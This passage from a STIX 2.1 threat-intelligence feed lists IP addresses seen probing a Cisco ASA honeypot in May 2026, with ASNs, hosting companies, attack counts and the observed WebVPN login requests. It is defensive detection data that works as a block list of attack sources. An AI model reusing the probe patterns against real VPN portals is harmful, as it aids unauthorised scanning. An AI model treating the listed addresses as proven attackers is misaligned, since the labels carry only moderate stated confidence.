      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--66a0342f-ec30-4233-be4d-f626d6e65da6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T02:19:36.949Z",
          "last_seen": "2026-05-22T20:09:48.944Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9f672887-2c6e-4e0c-b14a-0aa9ea057338",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-05T02:10:48.764Z",
          "last_seen": "2026-05-05T02:28:09.924Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--723028a9-07eb-4120-ad4e-bc93265329a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T01:09:12.344Z",
          "last_seen": "2026-05-25T20:11:29.136Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d5444fa5-50e4-4cc4-88f5-be2c0ea39fcc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T01:44:32.391Z",
          "last_seen": "2026-05-08T18:59:59.207Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b99aa5fa-a876-4169-a79b-f1538dc8fe98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T01:35:37.712Z",
          "last_seen": "2026-05-05T01:35:46.312Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5c623367-a51b-48f2-9f2c-faf2a4a5e7bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T01:09:13.496Z",
          "last_seen": "2026-05-30T07:18:16.223Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T02:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--c5a23e86-8e2b-45ca-9d94-a18d0f046c29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:20:31.000Z",
      "valid_until": "2026-06-06T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T02:01:45.721Z",
          "last_seen": "2026-05-30T04:11:31.493Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--72998af7-ce61-44e5-8de9-f8598e19109d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T03:10:43.111Z",
          "last_seen": "2026-05-27T19:15:48.827Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--4e66bb3f-c0fd-479d-86ad-27ecedfe0697",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '152.32.170.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 8,
          "first_seen": "2026-05-05T02:45:34.773Z",
          "last_seen": "2026-05-05T02:45:51.203Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
      "id": "indicator--7b22c403-90ff-4dc5-8489-babe28c9ad0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-05T02:28:10.380Z",
          "last_seen": "2026-05-05T02:28:13.384Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
      "id": "indicator--9a066d45-81a5-426e-93cd-60a71731790b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-05T02:28:16.608Z",
          "last_seen": "2026-05-05T02:28:16.608Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
      "id": "indicator--8ef7b6d9-f4b7-4a89-aee0-df29c949c471",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-05T02:28:05.507Z",
          "last_seen": "2026-05-05T02:28:08.510Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--5559f0f2-731f-41e8-bc16-37752923cbde",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-05T02:49:07.610Z",
          "last_seen": "2026-05-29T10:07:18.107Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a8fed5ce-49da-4d09-8332-7aaf08b17d2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.103.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T02:56:35.399Z",
          "last_seen": "2026-05-29T18:37:40.321Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f2ff29a3-613b-46c6-8131-21ae34dc368d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T03:14:18.622Z",
          "last_seen": "2026-05-25T12:20:10.041Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ca9e93c9-aaeb-43f5-b0bd-6d92e0035670",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-05T02:45:45.014Z",
          "last_seen": "2026-05-05T12:48:32.828Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a59d5b67-0356-4be1-a8c9-54c988239045",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T02:42:37.627Z",
          "last_seen": "2026-05-27T03:15:01.818Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--9c29ef59-6e5f-4020-8790-6b6b4d3f2d63",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T02:41:14.329Z",
          "last_seen": "2026-05-31T01:32:46.930Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9058917d-e95c-4817-bb8c-5ae0c438f0e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:20:05.000Z",
      "valid_until": "2026-06-06T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-05T02:31:39.547Z",
          "last_seen": "2026-05-27T23:20:33.131Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--521d00bd-24ee-400c-b1be-2c38f0482866",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T04:20:10.000Z",
      "valid_until": "2026-06-06T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-05T03:56:57.396Z",
          "last_seen": "2026-05-30T00:46:37.902Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T04:20:10.000Z",
